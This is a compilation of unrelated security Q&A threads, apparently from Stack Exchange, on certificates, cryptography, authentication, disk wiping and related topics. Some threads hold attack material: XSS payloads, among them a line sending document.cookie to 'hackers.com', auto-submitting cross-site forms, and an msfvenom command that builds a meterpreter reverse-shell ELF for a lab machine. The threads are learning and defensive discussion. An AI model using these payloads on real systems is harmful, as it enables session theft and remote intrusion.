Symantec - when replacing an SSL certificate, how long is the existing certificate valid for? I have a customer that is upgrading their infrastructure and is having problems installing the existing certificate in their new environment.  We have decided to do a REPLACE.  How long do we have for the existing certificate to be valid for after installing the replaced certificate on the new infrastructure?

If the Replaced certificate doesn't work on the new infrastructure, we want to be able to revert back to the existing environment.

The life time of a certificate starts with the time seen in the "Not Before" property of the certificate and ends with the time given in the "Not After" property. You can have multiple certificates for the same domain which are all valid and you can switch between these as long as these still have a valid life time and are not explicitly revoked. This means there is no implicit termination of an existing certificate if you get a new one.

But, according to an answer to SSL certificate renewal and downtime due to revocation
 some CA do an implicit revocation of the old certificate if re-keying is requested which makes the old certificate immediately invalid even though the life time properties might say different. Thus check before you initiate the replacement what this replacement process is actually doing at your specific CA, i.e. if it involves revocation or not. But according to Replace an SSL Certificate from Symantec Trust Center account Symantec does no automatic revocation when replacing an existing certificate:

  Replacing an SSL certificate does not add the certificate to Certificate Revocation List (CRL) or immediately flag the certificate as revoked status through Online Certificate Status Protocol (OCSP) responder.


Is it possible to plan for race conditions? Is it possible to plan for race conditions, so that you can execute specific commands at a specific time?

For example, the following code is vulnerable to a race condition. Is it possible to modify the file / replace it with a symlink exactly when the race window occurs and without trying continuously (like with while True)?

if (access("file", W_OK) != 0) {
   exit(1);
}

fd = open("file", O_WRONLY);
write(fd, buffer, sizeof(buffer));

Can I exploit this vulnerability with one attempt or one try? If the answer is true, how can I write an exploit to do this?

Is timing the execution flow with the C function sleep(seconds); possible?

You would need to be able to trace the execution of the vulnerable program somehow to detect when the code in question gets executed. One possibility would be a debugger or ptrace. But to trace the program this way you would need to have the appropriate permissions, i.e. same or higher privileges than the user executing the program. But in this case you would not need to exploit the vulnerability at all because you have the same or higher privileges already.

Another way would be to watch for specific events which gets usually executed shortly before the vulnerable code and which are visible with lower privileges. This might include the creation of files in public directories or similar. The details for these events and if they exist at all highly depend on the program you are trying to exploit, i.e. there is no general application-independent way to detect the time when the vulnerability could be exploited.


What is Provable Security? In computer security, what does provable security mean? I read the Provable Security article on Wikipedia, and I was able to grasp the basics. I would like to see this described in more detail, using, for example, the provability of RSA encryption.

Some queries:

Is RSA provable? For small p andq, it is not secure. Can we say it is provable security?
What is the best provable public key encryption algorithm?

You can define a system as provably secure if the security of the system ultimately relies upon a mechanism or rule which has some logical or mathematical proof.

For example, we can logically say that given a + b = c, it isn't possible to know the value of the other two values if you only know one, e.g. c=40 could mean a=20, b=20, or a=10, b=30, or a=-100, b=140, or an infinite number of other possibilities. This means that it's very, very hard to work out the values of a and b from just knowing c. If you can build a security system upon this premise, you have a provably secure system.

This concept is extended, in the case of RSA, to factorisation of semiprimes. Semiprimes are numbers which can be represented as the product of two primes, i.e. n = p * q. Given only n, it is relatively computationally difficult to work out the values of p and q. For example, it is trivial to multiply the primes 1009 and 6121 in a calculator to get 6176089, but it's much harder to guess which primes I used to get an answer of 27116399. I, as a legitimate user, can trivially multiply the primes, but you, as an attacker, must do some difficult work to guess which primes I used.

The way I would phrase it for RSA is as follows:

RSA relies upon the semiprime factorisation problem for security.
Semiprime factorisation is a known-hard problem (specifically, no general solution exists which can factor semiprimes in polynomial time or better) and as such requires significant computational work to resolve.
RSA therefore has the property that, assuming you pick a large enough pair of primes (and adhere to some other RSA-specific requirements, such as not making them too close), it will be computationally infeasible for an adversary to break RSA given most common threat models.

An important factor here is that the problem scales. If your threat model includes threat actors with significant resources, you can scale your prime sizes to make their work much harder, at the cost of increased computation time on your own system.


Which Domain Validation category does DKIM fall under? I know that the categories of domain validation are:

Regular SSL
Multi Domain Validation
Wildcard Certificates
Premium SSL

But I am not sure under which of the above does DKIM falls.

DKIM does not use any certificates at all and is also unrelated to TLS. This means that  a question about the kind of validation related to the subject of a certificate does not relate to DKIM at all.

For DKIM the domain owner itself associates a public key only (not a certificate) with the domain by putting it into a DNS TXT record and then uses the associated private key to add a signature to mails sent through the domain owners mail server. By checking this signature against the public key the recipient can verify that the mail was actually sent through the domain owners server which makes forging the sender harder.


For X.509 Certificates where is the actual digital signature? When you open up the certificate information from your browser and go to the details tab there is a bunch of information for various certificate fields. I am wondering which field contains the actual digital signature value?


Cross site scripting when the greater than and less than signs are escaped? If a website encodes < to &lt; and > becomes &gt;, is it still possible to perform cross site scripting? What would you enclose the script tags in?

For example, on one of my sites I can use <script>alert(1)</script> normally, but how can I do the same thing when encoding takes place?

Oh yes it is!

Consider this HTML:

<a href="{{str}}">

and consider an input like:

" onmouseover="alert('GOTCHA')"

You get the picture.

If your javascript is being injected within a tag then you don't need the angle brackets. I borrowed this off this similar S/O post: https://stackoverflow.com/questions/5696244/xss-is-escaping-and-sufficient

If you are interested in filter evasion like this consult:

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

This has all the common stuff.

As far as safety is concerned: Encode all the things! You never know how clever the attacker is.


How to scale smart card authentication? We are doing a proof of concept project for a client to introduce smart card authentication for his operations admins. Authentication in client's context means mainly SSH access. We encountered a problematic usage scenario: Admins often issue bulk commands against many hundreds of remote machines. This took previously insignificant amount of time, but takes tens of minutes with smart card.

I have run a few basic benchmarks and found out that smart card based cryptographic operation indeed takes hundred times more than for example openssl with on-disk keys. What takes openssl often less than a milisecond on average, smart card does rarely in less than 0.5 second. It still seems fast, but multiplied by hundreds it becomes a major part of the observed delay (together with other smart card/driver induced slow downs). I searched what speed is usual in smart cards or if there are other personal hardware cryptography modules designed for speed, but it seems to me that for personal usage the speed of 2048 bit RSA based algorithms is never less than several hundreds of miliseconds.

What is the good architecture for large scale hardware token usage? We can setup a key distribution server for short lived keys which could be added to ssh agent, so that only authentication to such server would be secured by smart card and other connection would be secured by provided software key, but I consider it the least attractive possibility.

I know a similar use case:

admins are required to use a token based authentication (HOTP) to access servers in a data center -> means manually typing a sequence of digits
commands can have to be replicated on hundreds of machines

The solution was to setup one single hop machine where the admins authenticate themselves. Then from that machine they are allowed to administer all other machines in same security zone of the data center without any further authentication. That way the authentication complexity in not a problem.


For FDA certification hipaa is mandatory? I am working on a medical device. I want to FDA certification for it.
The device is having ePHI (protected health information).
So is it mandatory to have HIPAA compliance for FDA approval?

I think the FDA will require HIPAA compliance for any device that uses PHI -- but, as has been noted in the comments to your question, the FDA will be the sole authority on its own requirements. This question-and-answer site is designed to provide helpful guidance -- but what you need is a legal opinion.

That said, even if you find that HIPAA compliance is not mandatory for the device you are working on, your only wise choice is to build on a foundation of HIPAA compliance anyway. This is especially important since you're already working with PHI. (And it would still be important even if you weren't, to allow for growth of your product.)


Why was the private key of the Superfish certificate so easily extractable? Robert Graham detailed on the Errata Security blog how he was able to get the private key of the Superfish certificate. I understand that attackers can now use this key to generate certificates of their own which will be signed by the Superfish CA.

Won’t the same attack work on other root certificates already on a computer? Why was the private key on the computer in the first place?

Unless the Superfish malware has been installed on your system, (which it might if you bought a Lenovo machine,) you don't have to worry.  This attack worked because the secret it revealed was necessary for the malware to hijack the data; it is not a part of how legitimate certificates are authenticated.

It helps to understand the relationships between a certificate, a public key, and a private key. A private key is a secret number used to sign messages with digital signatures (or to encrypt web traffic), and it has a matching public key that can be used to verify those signatures. A certificate is a public document that contains a public key; web site owners put their public keys onto certificates and send them to companies called Certificate Authorities (CAs) who digitally sign them to prove their certificates are genuine.  The digital signatures ensure the document has not been changed, assuring you the public key it contains is the genuine key of the site you're visiting.

CAs are companies everyone agrees to trust to only sign certificates from legitimate sources. They also have a private and public key pair. They keep the private key very secret, locked in a secure cryptographic device called a Hardware Security Module (HSM) and they restrict access to it so it can only be used to sign a customer's certificate when the customer generates a new key. But in order to be useful, everyone on the web needs to know their public keys. So these CAs put their own public key on a special certificate and sign it with their own private key ("self-signing"). They then send these self-signed "root certificates" to the browser vendors and OS vendors, who include them with their products. A real CA would never, ever, send out their private keys!

The trusted authority root certificates are the documents that validate all the certificates of all the connections your computer makes. Thus, your computer has to trust them. This malware is installing an untrustworthy certificate in a position of ultimate trust, compromising the security of the machine by allowing anyone who knows this key to forge a certificate for any site, hiding evidence of their tampering.

The malware abuses its position by generating phony public and private keys for every site you visit; after you connect it injects its payload into the web site's page. In order for your browser to trust these phony keys and not give you warnings, the malware generates a forged certificate that tricks your browser into believing the keys are legitimate.  But like any certificate, the forgery needs to be signed by a trusted CA. To sign, the malware needs a public and private key, just like a real CA. Because the phony CA is forging these certificates right inside your computer, the private key needs to be inside your computer as well. It's impossible to keep such things secret from the owner of the computer, but they tried by taking some rudimentary steps to hide it. The blog you linked to described how he uncovered the secret.

No legitimate certificate authority would ever allow their private key to be leaked, much less send it out to a bunch of random computer owners. There was a case where a certificate authority had their secret key leaked; their reputation was ruined and they went bankrupt in a month. Since your computer doesn't contain the private keys of the legitimate certificate authorities, there is no secret for an attacker to crack.


Verification and authentication flow for X509 code-singing certificate I am developing an embedded devices FW updates (not connected to the internet) and I am using code-signing certificates in order to verify the FW update issuer identity (the FW update is signed with our private key). I implemented an ASN.1 parser in FW (can't use some known implementation because of memory restrictions) and it works well. I also have the root-CA's public key downloaded to the device in a secured manner during the production process. My question is :

When I looked for a common flow of certificate authentication and verification algorithm its stated everywhere that I should check the hostName (CN) of the CA that issued the certificate as well as the name and details if the CSR issuer. I can't seem to understand why simply checking the signature is not enough for my needs, I have the CA public key already installed so that any certificate which wasn't signed by this specific CA will fail RSA authentication. Is there a reason why I should also check the content of the certificate and not only the signature ?

Thanks ,

If you are storing a trusted CA's public key, then you may not need to do any more. This assumes a couple of things:

The CA will never perform any revocation
All of the signatures you check will be generated by the same CA

It is also important to be aware that the CA will expire at some point (as indicated in the CA cert), and there may come a point that you stop trusting this CA. You should have some way to stop your code from trusting things signed by the CA.

You don't really need to go the full route unless you are dealing with many potential intermediate CAs, signed by a few roots (that you still hard code). Because you will only evaluate the intermediate CA when you see it, you will need to perform a full set of verifications. What you gain by going this route is that you can trust many more CAs, and you get to check to see if anything in the chain has been revoked.


Exchange sensitive information through public chat Is there a way to exchange phone numbers/email addresses through public chats with a person without giving them or other communication information away to all the other people in the public chat?

Example for a public chat can be the comments to this post right here.

Using an asymmetric encryption.

Create a public/private key pair.
Share the public key in chat
Now someone can send data to chat encrypted with your public key.
Data can only be decrypted with your private key no body but you can read it.


Impacts of running "./CA newca" command in /etc/pki/tls/misc/ when CA already exists After accidentally running "./CA newca" from /etc/pki/tls/misc, I noticed a few files getting updated in /etc/pki/CA, and possibly more.  But there weren't any prompts when running the command like there normally is.  I meant to run the "./CA -sign" command instead to add to the current CA.  Will this have any consequences?  I've created a new CA in the past, and I've always had to remove these files, yet none of these got changed, but that doesn't necessarily mean "other" files don't get updated when creating a new CA.

# rm –f /etc/pki/CA/*
# rm –f /etc/pki/CA/private/cakey.pem
# rm –f /etc/pki/CA/newcerts/*
# rm –f /etc/pki/tls/misc/newreq.pem
# rm –f /etc/pki/tls/misc/newcert.pem

Here are the files that got updated:

/etc/pki/CA/serial
/etc/pki/CA/index.txt.old
/etc/pki/CA/index.attr
/etc/pki/CA/index.txt

I've tested this, and the answer is "No"

I successfully tested Tomcat to Tomcat connectivity with SSL communication for an existing self-signed certificate (signed by this CA) and a new self-signed certificate (signed by this CA) added to the index.txt file. All entries that were marked as "R" don't work, and all entries that were marked as "V" still work. This was after taking no action after I ran that bad command by mistake except for signing that new self-signed certificate for a new server.


Defending against private key leaks such as those enabled by Heartbleed More and more evidence seems to be surfacing that the Heartbleed vulnerability leaks the private key portion of the SSL certificate in use.

As such this can actually mean that if an attacker was also able to passively monitor SSL traffic, when they get hold of this key, they could decrypt an unlimited log of SSL data, potentially accessing thousands of user's sensitive data.

But I had thought that such implementations as Perfect Forward Secrecy were supposed to defend against this by utilising a symmetric key that meant the revealing of the SSL private key would still be insufficient to decrypt recorded SSL traffic?

How widespread is the use of Perfect Forward Secrecy and if not-so, is this trivial to setup in an HTTPS context?

PFS does, in fact, prevent reading the log files after-the-fact. The only use for a captured private key in a PFS arrangement is impersonation. You can't use it for passive snooping in any context, either after-the-fact or indeed live.

This is because in a PFS configuration, the ephermal session key is generated using Diffie-Hellman between the two parties rather than being simply delivered as part of the handshake. And since with a DH key negotiation, the generated key cannot be derived by an observer, the certificate key is of no use to an eavesdropper.

But if the adversary instead inserts himself as a man-in-the-middle, impersonating the server, then the D-H negotiation happens with the adversary instead of the true server. In that case, the adversary gets the ephemeral key and can decrypt the conversation as it happens ... and indeed must participate in the conversation, either relaying messages to the true server, or simply posing as the server on his own.


Solution to allow JavaScript input but prevent XSS We have a simple Blog system that allows users to input html and JavaScript to build a blog page. I'm aware that allowing javascript open up the door to xss attacks. We do however need to allow users to insert javascript, as an exmple would be allowing the user to insert a google ads code which contains JavaScript. The question is how go about allowing JavaScript while preventing xss. I was assuming https would secure cookies and prevent cookie stealing, but users on stackoverflow said otherwise.

https is all about encryption and ensuring server identity to prevent other people from listening to the traffic. So it does not help at all against malicious JavaScript code within the bounds of the same origin policy.

There is a flag on cookies called httpOnly which prevents simple JavaScript code on modern browser to access the cookie. But this does not fix the issue, it just makes exploits a bit less simple: The JavaScript code can directly trigger form submissions with the permissions of the current user. Since the JavaScript is on the same domain, it has access to CSRF tokens. The browser will include the cookie on the form submission without the JavaScript code needing to access it. (And there is a number of bugs around HttpOnly, for example some browser allow to read the cookie from an XMLHttpRequest object.)

Furthermore the JavaScript author may replace the current page content with "Your session has timed out, please login again" and its own login form. But the form he adds does not point to the login URL of your server but to a server he controls. Or even more subtle, there may be a cross-domain Ajax call in the event handler of the submit-button.

There is a rather simple solution in two steps:

Filter all non trusted markup, including all JavaScript. If you are using PHP, you can use HTML-Purifier. There are similar libraries for all common languages.
Provide harmless placeholders ("widgets"). So instead of letting your users embed JavaScript code directly, they must write something like
identifier
. A piece of trusted global JavaScript code can replace those code fragments with the real add code. Make sure to properly escape input parameters. This will limit your users a little in what they can do, but it is pretty easy to cover all common use cases.

It does make sense to google a bit as there are already a number of Widget libraries out there; although most of them still require JavaScript calls.


Stopping Spammers From Using My Website's Messaging I own a website.

The website connects between people providing a service ("servicers") and people interested in receiving that service ("servicees").

A servicee performs a search on the site and gets a list returned of possible servicers. Then the servicee can send the servicer a message through the site (the servicer's direct contact info is not provided).

I recently had a spammer contact a bunch of servicers in the way described above.

I took care of this one problematic spammer by blocking his ip and email.

I am wondering if there are any suggestions for how I might stop future spammers like this from doing the same thing.
One possibility is to have all messages go though some sort of human validation. Is this a reasonable approach? (messages aren't too long and are very sparse at the moment).
Are there any other approaches? Things that other companies do?
(I currently have a Captcha set up when a user registers).

Also, I suspect that this one spammer might have come from my new AdWords campaign, I'm thinking of changing around the keywords to attract less attention. If anyone has any insight in this regard as well I'd be happy to hear it.

Thank you.

This is an age old battle I'm afraid, well as old as the internet at least!

The comments pretty much add up to the answer, but in an attempt to summarise;

Having things in place to stop automation is good, but will not stop all spam successfully, and not just spam, but messages which breach your terms of use (I'm guessing passing direct communication details for example?).

If you have a small number of messages to deal with currently, then passing them through a "human filter" is a possibility, but this could become a problem as the number of messages increases.

At that point you could explore other options such as community moderation, or automated things such as keyword matching, rate limiting etc.

You could establish an algorithm for triggering the human filter. For example, you might decide that if a new user sends messages to x number of servicers in y amount of time, that a human should look at the messages.

tl;dr;
Only you can say for definite what constitues and a message you would like to prevent/detect, and while automation prevention is essential, you may want to pass messages/users which match specific criteria through a check by a human.


Why do popular sites like Google, Dropbox, etc. have a "trust this computer" checkbox when it weakens security? Let's say someone is logging onto Dropbox in the library, but the computer has a keylogger on it that steals their password. Fortunately, they are using two factor authentication, which could have prevented this... almost. But there's a checkbox "trust this computer". The user doesn't check it, but the keylogger is able to check it silently, giving them a token which gives permanent access to their account.

Even if this isn't the main purpose of two factor authentication, wouldn't its utility be massively improved without this checkbox? There are other ways to allow the user to trust the computer they are on, such as texting them two codes, one for temporary access and another for permanent. That way the decision of whether to allow permanent access would be entirely up to the user, and the keylogger wouldn't be able to interfere with it.

There are different types of two factor authentication. Some types will protect against the threat you describe, others will not.

Here are some common types of 2FA that will keep you protected against the key logger:

Texting a one time use code to a mobile phone.
Emailing a one time use code with the assumption that the user will not check the email on the compromised computer. (Receives the email on a mobile phone.)
Some sort of token using a time-based mobile app.

Typically the above types of 2FA do not have an option for "remember this computer" which would disable the 2FA portion of the login. If they had a "remember this computer" option, that would drastically reduce security, as you suggested.

There are some weaker types of 2FA that may contain a "remember this computer" option. Typically they would be an additional security question such as what is your favorite food, or mother's maiden name, etc. If there is only one security question, then your answer is going to be recorded by the key logger as well, so the "remember this computer" option is irrelevant. The only situation where the key logger with the ability to silently check the "remember this computer" box would be useful (to the attacker), is when you have multiple security questions set up which are presented on a round robin basis, and only 1 of them is captured by the key logger.

As a side note, if you are worried about key loggers, I suggest when typing in a password on a public computer, that you type in part of it with the keyboard and the rest of it with the mouse and the virtual on-screen keyboard. This will thwart someone watching the screen or a key-logger. Someone would need to have both going at the same time to capture your full password.


ECDSA implicit certificate using OpenSSL I am trying to generate implicit ECDSA certificate only for signing and verification using OpenSSL. I tried google but I am getting many research papers. I understood that A messages need to be signed using ECDSA over the NISTp256 curve with ECQV certificates. I couldn't figure-out how.

Implicit certificates are a concept. Certicom's Web site contains a high-level description. A mathematical incarnation of that concept, called Elliptic Curve Qu-Vanstone (ECQV), has been proposed. the Wikipedia page includes a rudimentary description, and there is a 2013 standard from SEC that includes more details. That standard is still highly mathematical in contents and does not specify encoding details. As of 2011, it seems that there was no reference implementation at all. OpenSSL does not support ECQV.

What OpenSSL supports is generic operations on elliptic curves. From these functions, implementing the operations that constitute ECQV would be "easy" (not really easy). However, to do that properly and securely, you have to understand what is going on, i.e. you must grasp the maths in all their fine details. To implement ECQV, you should be able to, at least conceptually, make everything from scratch, starting with a basic programming language such as C -- in that sense, OpenSSL's code will save you "implementation" time, but not "understanding" time.

A big part of implicit certificates, like in any PKI system, is management procedures. Low-level implementation of the algorithms is the easy part. If you intend to use implicit certificates, you should dedicate some (most) of your time thinking about CA management.


Reflected XSS attack via POST request and XML payload I know that a reflected XSS can be done with a GET request like:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

As long the response looks similar to this:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

If this is possible, how can an attacker achieve this?

[EDIT]

It is also required that the Content-Type header is set to application/xml

Attacker can use to auto submittable remote form with the default values. like this :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

And add a script with XHTML namespace, it will run.
Example

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
<
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0


How to use msfvenom elf approach for metasploitable 2? How to use msfvenom elf approach for metasploitable 2?
I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to skip this section without understanding this. So I got 2 other books but they both also only teach Windows approach to this, searched the net and it seems I only found Windows exe ways. So I just started doing it myself. I did the following.
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -e x86/shikata_ga_nai -f elf -o test.elf

Then I gained a shell and did
Upload test.elf test.elf

Then I ran bash test.elf on the machine and it did nothing
I ran file test.elf and I got:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size

What am I doing wrong?

After several retries to slightly adjust the payload. To no avail. I reinstalled Metasploitable 2.
I Remade the payload again as originally intended.
I ran sudo ./test.elf on the metasploitable machine and it worked.
I had ran sudo ./test.elf before and it gave me command not found on the other install.
It seems to work now. After making several payloads they all work now. I assume it was a bad installation or I somehow messed up the other Metasploitable 2.


What is the difference between ATA Secure Erase and Security Erase? How can I ensure they worked? I'd like to wipe a stack of drives (spinning and SSD) securely. I'm familiar with the ATA Secure Erase (SE) command via hdparm, but I'm not sure if I should use the Security Erase (SE+) command instead.

There is some evidence that these commands don't work on all drives. How can I ensure the drive is really wiped, including reserve areas, reallocated sectors, and the like?

I'm planning to use a linux live CD (on USB). Ubuntu provides a workable live CD with which I can install hdparm, but is there a smaller live CD distro with updated software versions I should use instead?

So, in summary:

What are the pros and cons of SE versus SE+?

How can I ensure the drive was truly and thoroughly wiped?

Which linux distribution should I use?

As quoted from this page:

Secure erase overwrites all user data areas with binary zeroes. Enhanced secure erase writes predetermined data patterns (set by the manufacturer) to all user data areas, including sectors that are no longer in use due to reallocation.

This sentence makes sense only for spinning disks, and without encryption. On such a disk, at any time, there is a logical view of the disk as a huge sequence of numbered sectors; the "secure erase" is about overwriting all these sectors (and only these sectors) once, with zeros. The "enhanced secure erase" tries harder:

It overwrites data several times with distinct bit patterns, to be sure that the data is thoroughly destroyed (whether this is really needed is subject to debate, but there is a lot of tradition at work here).

It also overwrites sectors which are no longer used because they triggered an I/O error at some point, and were remapped (i.e. one of the spare sectors is used by the disk firmware when the computer reads or writes it).

This is the intent. From the ATA specification point of view, there are two commands, and there is no real way to know how the erasure is implemented, or even whether it is actually implemented. Disks in the wild have been known to take some liberties with the specification at times (e.g. with data caching).
Another method for secure erasure, which is quite more efficient, is encryption:

When it is first powered on, the disk generates a random symmetric key K and keeps it in some reboot-resistant storage space (say, some EEPROM).
Every data read or write will be encrypted symmetrically, using K as key.
To implement a "secure erase", the disk just needs to forget K by generating a new one, and overwriting the previous one.

This strategy is applicable to both spinning disks and SSD. In fact, when an SSD implements "secure erase", it MUST use the encryption mechanism, because the "overwrite with zeros" makes a lot less sense, given the behaviour of Flash cells and the heavy remapping / error correcting code layers used in SSDs.
When a disk uses encryption, it will make no distinction between "secure erase" and "enhanced secure erase"; it may implement both commands (at the ATA protocol level), but they will yield the same results. Note that, similarly, if a spinning disk claims to implement both modes as well, it may very well map both commands to the same action (hopefully, the "enhanced" one).
As described in this page, the hdparm -I /dev/sdX command will report something like this:
Security:
       Master password revision code = 65534
               supported
               enabled
       not     locked
       not     frozen
       not     expired: security count
               supported: enhanced erase
       Security level high
       2min for SECURITY ERASE UNIT. 2min for ENHANCED SECURITY ERASE UNIT.

2 minutes are not enough to overwrite the whole disk, so if that disk implements some actual "secure erase", it must be with the encryption mechanism. On the other hand, if hdparm reports this:
       168min for SECURITY ERASE UNIT. 168min for ENHANCED SECURITY ERASE UNIT.

then we can conclude that:

This disk performs a full data overwrite (that's the only reason why it would take almost three hours).
The "secure erase" and "enhanced secure erase" for that disk are probably identical.

Depending on the disk size and normal performance for bulk I/O (can be measured with hdparm -tT /dev/sdX, one may even infer how many times the data is purportedly overwritten. For instance, if the disk above has size 1 terabyte and offers 100 MB/s write bandwidth, then 168 minutes are enough for a single overwrite, not the three or more passes that "enhanced secure erase" is supposed to entail.
(There is no difference between Linux distributions in that area; they all use the same hdparm utility.)

One must note that the encryption-based secure erase really wipes the data only to the extent of the quality of the encryption and key generation. Disk encryption is not an easy task, since it must be secure and yet support random access. If the firmware simply implements ECB, then identical blocks of plaintext will leak, as is usually illustrated by the penguin picture. Moreover, the key generation may be botched; it is possible that the underlying PRNG is quite weak, and the key would be amenable to exhaustive search.
These "details" are very important for security, and you cannot test for them. Therefore, if you want to be sure about the wiping out of the data, there are only two ways:

The disk manufacturer gives you enough details about what the disk implements, and guarantees the wiping (preferably contractually).

You resort to good old physical destruction. Bring out the heavy duty shredders, the hot furnace and the cauldron of acid!


How do I find a digital (non-WiFi) baby monitor with an encrypted signal? What would I look for to see if a digital baby monitor (audio or video, but non-IP/WiFi) has an actual encrypted signal, or at least something to defend against the following threat model?

As I'm not putting the stream on the Internet, my attacker would just be your basic neighborhood creeper pairing another receiver to my unit within range of my house and using the "Talk to Baby!" feature (another anti-feature IMO). This is not the end of the world, but apparently people do this and I'd like to avoid it.

I've had a hard time finding any information about this at all. As you can imagine, the marketing pages are worse than useless, just throwing words like "private!" and "secure!" everywhere (and in the worst cases conflating "digital" with "encrypted"). I've seen some with frequency hopping which is better than nothing, but no information about any real encryption.

Find a baby monitor which uses Bluetooth version 4.2, as older versions may be using much weaker cryptography. Version 4.2 uses strong encryption with the AES cipher, a block cipher with no known practical attacks against it, in CCM mode in order to ensure data integrity. For key exchange, it uses P-256, a strong ECC algorithm approved by NIST which provides the equivalent of approximately 128 bits of classical security. Note that this may not protect against active attackers who perform a man-in-the-middle attack, depending on what pairing mode is used, but it should protect from passive attacks.


Using virtual server for backing up files I've purchased a virtual server which I need to run some custom tools every once in a while. I actually don't use any server features of my virtual server, I really just need a Linux machine which is up 24/7 365 days a year to run my custom tools.

Now it occurred to me that I could use this virtual server as some sort of cloud storage to store my backups as well since I have 500 GB of HD space available on the server which I currently barely use.

The problem is: I don't really have any experience with server administration. The virtual server uses the default settings, I didn't change anything from the server defaults. I think it is completely unconfigured for server usage, i.e. port 80 is disabled, FTP is disabled, etc. All I can do is to log in via SSH and this is pretty much all I need. I also didn't install Plesk on the virtual server. It's really completely barebones, just Ubuntu 14.04 LTS, nothing else.

Now I thought that I could just use GnuPG to encrypt the tar files containing my backups and then just upload them to a directory on the virtual server using scp. Does that sound reasonably safe or could it happen that those files could be accessed from someone from the outside? Of course, they're already encrypted using GnuPG but still I'd like to prevent anybody from being able to access them...

If you don't do anything wrong and don't lose your encryption key, then you should be reasonable safe that others won't be able to decrypt those files. However, somebody who is able to gain read access will probably have write access, too (and delete or destroy your backups).

Just a few suggestions:

Keep your encryption keys at a safe place. If you want to store them with your backup, protect them with a passphrase. If you can't recover those keys, your backup is useless.

You should have tested a recovery. Your scenario isn't that complicated so it's not a big deal.

Keep more than one version of your backups. Maybe you'll need a file that you deleted last week.

Think about automation.

Use a user account for your scp. On your server you can use the local root account to regularly move your files where your backup user can't delete them.

There's a lot more things you could do if you're really paranoid...


How is HTTPS protected against MITM attacks by other countries? HTTPS relies on server certificates to ensure you are connected to the correct server and thus thwart man-in-the-middle attacks.
Nowadays, there are countless certification authorities in many countries around the globe. What is preventing a country from forcing a certificate authority located in the country to issue fake server certificates for the purpose of mounting man-in-the-middle attacks, including attacks on servers located in other countries?
If there is no safeguard against this, is HTTPS still safe? After all, it means anyone with connections to a rogue country can eavesdrop on any HTTPS traffic, by procuring fake certificates via that country...

Certificate Transparency
The Certificate Transparency standard requires that when a certificate is issued, it should also be submitted to one or more Certificate Logs. These are simple network services that maintain cryptographically assured, publicly auditable, append-only records of certificates. Once a certificate has been added to a Certificate Log, an independent monitor can check the log to ensure that no fraudulent certificate has been issued. These days browsers require all certificates to have a Signed Certificate Timestamp (SCT) either in a TLS extension or through OCSP stapling, which is used to establish that the certificate has been added to a Certificate Log. Most browsers require the certificate to be present in more than one log (Chrome requires at least two, for example). If the SCT is missing, the certificate is rejected. This ensures that whenever any root/intermediate CA starts issuing fraudulent certificates, the monitors will notice and raise a red flag. Then either the CA revokes the certificates, or browsers stop trusting that particular CA.
In the past, HTTP Public Key Pinning was used. This involved the browser saving the public key(s) of a site the first time it was visited, and if the keys suddenly changed, the browser would refuse to connect. Dynamic pinning, which allows any site to be pinned at the first visit, has now been deprecated. However, static pinning, in which browsers ship with hardcoded public keys for popular domains like google.com and facebook.com, is still used. This can also be used to detect MITMs with fraudulently issued certificates, if the MITM targets any of these popular domains.


Electronic voting, follow up As a follow up to this great question and the answers provided I (as stubborn and naive as I am) still don't get why creating a secure voting system is practically impossible.

First off why is anonymity so important? I don't see any democracy like Europe or america prosecuting those who didn't vote for the elected party. Sure in China and North Korea and stuff I can understand (if they would ever have an election).

If people have an online account to do government related things on (we in the Netherlands do) then ensuring only 1 vote per person is easy. You simply let people vote through their account. And if you want anonymity you store the vote and the voter separately within different time frames so there is no correlation between the vote and the voter.

An infected PC might be a problem but would a random-reader, like the one you use for bank transactions, not be enough?

Feasibility

It's not impossible, just terribly impractical. The issue of remote electronic voting is not so much a lack of cryptographic primitives than a lack of trust. You as a voter must trust your computer and the platform on which you vote to correctly register your vote. You must still trust your own computer to correctly verify the vote you cast. The organiser must also trust you and all the other voters that your computers are under your control, and that it is you indeed who are casting your own vote.

The state of the art is a paper published last year in Computer Security Foundations by Mark Ryan and his team. It shows that it is at least possible to cast votes without trusting your computer, if you choose to trust a small piece of hardware instead. It's still very inconvenient, but this solution is already more practical because the trusted hardware is more readily manufactured, verified and distributed than a full-blown computer.

Anonymity

You need to guarantee anonymity mainly so the organisers cannot infer who you voted for. If the organisers are able to query the voting system at any point in time, they could infer all individual voter choices by querying the system before and after any vote is cast.

